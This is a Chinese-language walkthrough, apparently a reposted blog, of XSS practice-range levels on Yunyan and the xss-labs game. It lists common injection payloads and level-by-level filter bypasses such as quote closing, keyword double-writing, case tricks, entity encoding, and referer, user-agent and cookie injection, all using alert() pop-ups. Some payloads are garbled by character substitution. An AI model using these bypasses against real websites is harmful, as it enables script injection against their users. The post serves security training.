XSS之靶场实战

使用的靶场云演

https://www.yunyansec.com/#/

常用的payload

scirpt标签用于定义客户端脚本,比如JavaScirpt

alert(1)
alert(“xxs”)

img标签定义HTML页面中的图像

<imgsrc=1οnerrοr=alert(1)>
<imagsrc=1ongerror=alert(“xss”)>

input标签规定了用户可以在其中输入数据的输入字段

<inputοnfοcus=alert(1)autofocus>
<inputοnblur=alert(1)autofocus>

<inputοnfοcus="alert(1)"autofocus>

details标签通过提供用户开启关闭的交互式控件,规定了用户可见的或隐藏的需求的补充细节。ontoggle事件规定了在用户打开或关闭元素时触发:

<detailsοntοggle=alert(1);>
<detailsopenοntοggle=alert(1);>

svg标签⽤来在HTML页⾯中直接嵌⼊SVG⽂件的代码

<svgοnlοad=alert(1);>

常用的payload.docx

第一关

在这里插入图片描述

在URL处输入payload:

在这里插入图片描述

第二关

在这里插入图片描述

在搜索栏内输入qyx
查看源代码
在这里插入图片描述

输入内容会在 value中显示,比如我们输入yunyansec的字符串,在inpupt 标签中可以看到yunyansec在 value 值中。
在这里插入图片描述

绕过思路,闭合标签即可
‘>或’>
在这里插入图片描述

在这里插入图片描述

第三关

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

当我们输入包含有alert的危险字符会被清除。
绕过思路
把alert函数双写即可。
“>aalertlert(1)或”>
在这里插入图片描述

在这里插入图片描述

第四关

在这里插入图片描述

在这里插入图片描述

当我们输入包含有alert的危险字符会直接退出脚本执行。
绕过思路
我们可以使用其他弹窗函数进行测试,例如prompt()函数,它可以显示出一个提示用户进行输入的对话框。

“>或”>
在这里插入图片描述

在这里插入图片描述

第五关

在这里插入图片描述

经过测试这一关会把一些危险字符删掉,像:script、alert、on、img等
绕过思路
把危险字符双写即可。
“>aalertlert(1)或”>
在这里插入图片描述

在这里插入图片描述

第六关

在这里插入图片描述

经过测试本关卡会把更多的危险字符删掉,像:script、alert、on、img、<、src等更多的字符会被清除。
2)绕过思路
使用事件,onclick 事件会在元素被点击时发生;
结合程序执行顺序即危险字符删除顺序,进行双写。
aaa" oimgnclick="alimgert(1)
在这里插入图片描述

在这里插入图片描述

xss小游戏

第一关(JS弹窗函数alert())

在这里插入图片描述

仔细观察三处箭头,可以发现它是向服务器提交了一个name参数,值为“test”,从页面回显来看,将name参数的值显示在了页面上,并且显示了name参数值的字符长度。接下来,查看源码:
在这里插入图片描述

可以发现get传参name的值test插入了html里头,还回显了payload的长度
直接上payload,插入一段js代码,get传参

<script>alert('xss')</script>

**当然也能传其他的东西过掉第一关,建议参考XSS常见的触发标签 **
在这里插入图片描述

第二关(闭合绕过)

查看网站源代码
在这里插入图片描述
**第一个test可以跟上次一样直接插入js即可,我们先试试看

<script>alert('xss')</script>

在这里插入图片描述

发现没有成功,查看一下网站源码
在这里插入图片描述

第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可,构造payload

">  <script>alert()</script>  <"

在这里插入图片描述

第三关(onfocus可以绕过html实体化(即<>号的过滤))

先输入,查看网站源码
在这里插入图片描述

相对于上一关,这里是单引号闭合,试一下

'>  <script>alert()</script>  <'

在这里插入图片描述

没想到符号都被实体化了,假设我们在这里构造了一个事件,由于当事件发生时,可以执行javascripr,比如用户点击一个HTML元素时,就会从事件处理程序中调用函数构造一个payload,这里用onlcik,payload

' onclick=alert() '

在这里插入图片描述

第四关

先输入,查看网站源码
在这里插入图片描述

发现只有><被过滤掉了,我们继续利用事件通过

" onclick=alert() "

在这里插入图片描述

第五关(使用插入标签达到js执行)

先输入,查看网站源码
在这里插入图片描述

发现script标签被 _ 分隔开了,再次使用触发事件,结果发现onclick也被过滤了
在这里插入图片描述

script不行,onclick不行,尝试利用其它的语句测试
常用的xss语句

<script>alert(1)</script>
<img src=ganyu οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a herf=javascript:alert(1)>

发现javascript没有被过滤,可行
在这里插入图片描述

直接输入是失败的,没有将前面的内容闭合

" > <a href=javascript:alert('xss')>test</a>   #弹窗需要点击test触发

在这里插入图片描述

在这里插入图片描述

第六关(大小写法绕过str_replace()函数 )

先输入,查看网站源码
在这里插入图片描述
内容进行了过滤,我们尝试使用onclick、javascript、onerror、onload
在这里插入图片描述

只有javascript没有被过滤,我们尝试利用上关的方法
" > <a href=javascript:alert(‘xss’)>test,失败了查看网站源码
在这里插入图片描述

在这里插入图片描述

发现href被过滤了,可以尝试双写、或者大小写、或者编码绕过

" > <a HreF=javascript:alert('xss')>test</a>

在这里插入图片描述

第七关(双拼写绕过删除函数)

先输入,查看网站源码
在这里插入图片描述

发现script被删除了,我们尝试双写、或者大小写、或者编码绕过,发现双写可以

<scrscriptipt>alert()</scrscriptipt>

在这里插入图片描述

 " ><scrscriptipt>alert()</scrscriptipt>

在这里插入图片描述

第八关(href属性自动解析Unicode编码)

先输入,查看网站源码
在这里插入图片描述

当我们输入内容的时候,value的内容会直接带入href,,触发友情链接的时候,就会执行带入的参数
我们看一下都过滤了那些关键字onclick、javascript、onerror、onload、script、href、data
在这里插入图片描述

尝试双写、或者大小写、或者编码绕过,发现编码可以
在这里插入图片描述

在这里插入图片描述

java&#115;&#99;&#114;&#105;&#112;&#116;:alert()

在这里插入图片描述

第九关(插入指定内容绕过检查)

先输入换成javascript:alert,因为script被过滤我们将它实体化,前面说到是对http://的一个检测,这里尝试能否注释掉

java&#115;&#99;&#114;&#105;&#112;&#116;:alert() //http://

在这里插入图片描述

第十关

除了url没有任何输入点,尝试在url写入脚本
直接回显,查看代码也直接将我们输入的内容进行HTML实体化
我们查看到了有一个表,但是页面没有显示关于这个表的内容,而且表内利用了input函数并且隐藏,用于接受标准输入数据,而后面的type=“hidden”用于隐藏域
在这里插入图片描述

value内为空,我们尝试在value输入

t_link=ganyu&t_history=ganyu&t_sort=ganyu

在这里插入图片描述

发现有一行回显
在这里插入图片描述

构造payload,然后点击即可

?t_sort=" onfocus=javascript:alert() type="jack

在这里插入图片描述

第十一关

右击查看源码 ,发现和上一题有个类似的地方
在这里插入图片描述

我们继续像上一题那样,但这次是传4个参数过去

t_link=jack&t_history=jack&t_sort=jack&t_ref=jack

在这里插入图片描述

可以看到,这里t_sort的value有显示参数,这里还有一个特殊的referer,熟悉sql注入的应该会熟悉这个referer注入,我们尝试利用referer来传参,打开HackBar,点击referer
在这里插入图片描述

成功回显value
在这里插入图片描述

构造payload

?t_ref=" onfocus=javascript:alert() type="jack

在这里插入图片描述

在这里插入图片描述

第十二关

右击查看源码 ,发现和上一题有个类似的地方
在这里插入图片描述

有一个类似SQL注入的UA注入
打开HackBar,点击ua
在这里插入图片描述

在这里插入图片描述

构造payload

?t_ua=" onfocus=javascript:alert() type="jack

在这里插入图片描述

第十三关

右击查看源码 ,发现和上一题有个类似的地方
在这里插入图片描述

提示我们用cook
F12打开HackBar,点击cook
构造payload

?t_cook=" onfocus=javascript:alert() type="jack

在这里插入图片描述

没成功!!!我们先看一下这个网页的cookie,F12打开
在这里插入图片描述

cookie名为user,既然知道了隐藏的user,我们尝试继续利用HackBar
构造payload

user=?t_cook=" onfocus=javascript:alert() type="jack

在这里插入图片描述

第十四关

无法进行测试

第十五关

查看一下网站源码
在这里插入图片描述

发现一个ng-include,include作用是将同一服务器的html文件包含进来,和src进行传参,在请求 src 资源时会将其指向的资源下载并应用到文档中,比如 JavaScript 脚本,img 图片等等,在这里我们将src指向任意一关,输入对应的xss弹窗脚本即可。

?src='/level1.php?name=<img src=1 onmouseover=alert()>'

在这里插入图片描述

第十六关

查看一下网站源码
keyword后输入的内容回显,查看一下源码发现被center包裹,center用于居中显示文本
在这里插入图片描述

测试一下过滤了那些关键字

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

在这里插入图片描述

对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc

,谁知道也将/给替换成了空格
空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的、、 等标签随便选个标签,将空格替换成回车的url编码,构造payload
?keyword=<img%0asrc=""%0aonerror=alert(1)>

在这里插入图片描述

第十七关

查看一下源码,发现有一个embed标签,用来嵌入内容,比如插件
在这里插入图片描述

尝试对值进行修改
在这里插入图片描述

构造payload【前提是你得有flash插件】

?arg01=a&arg02 onfocus=alert(1)

在这里插入图片描述

使用的工具

火狐浏览器
云演靶场

猜你喜欢

转载自blog.csdn.net/qq_62803993/article/details/128619511
今日推荐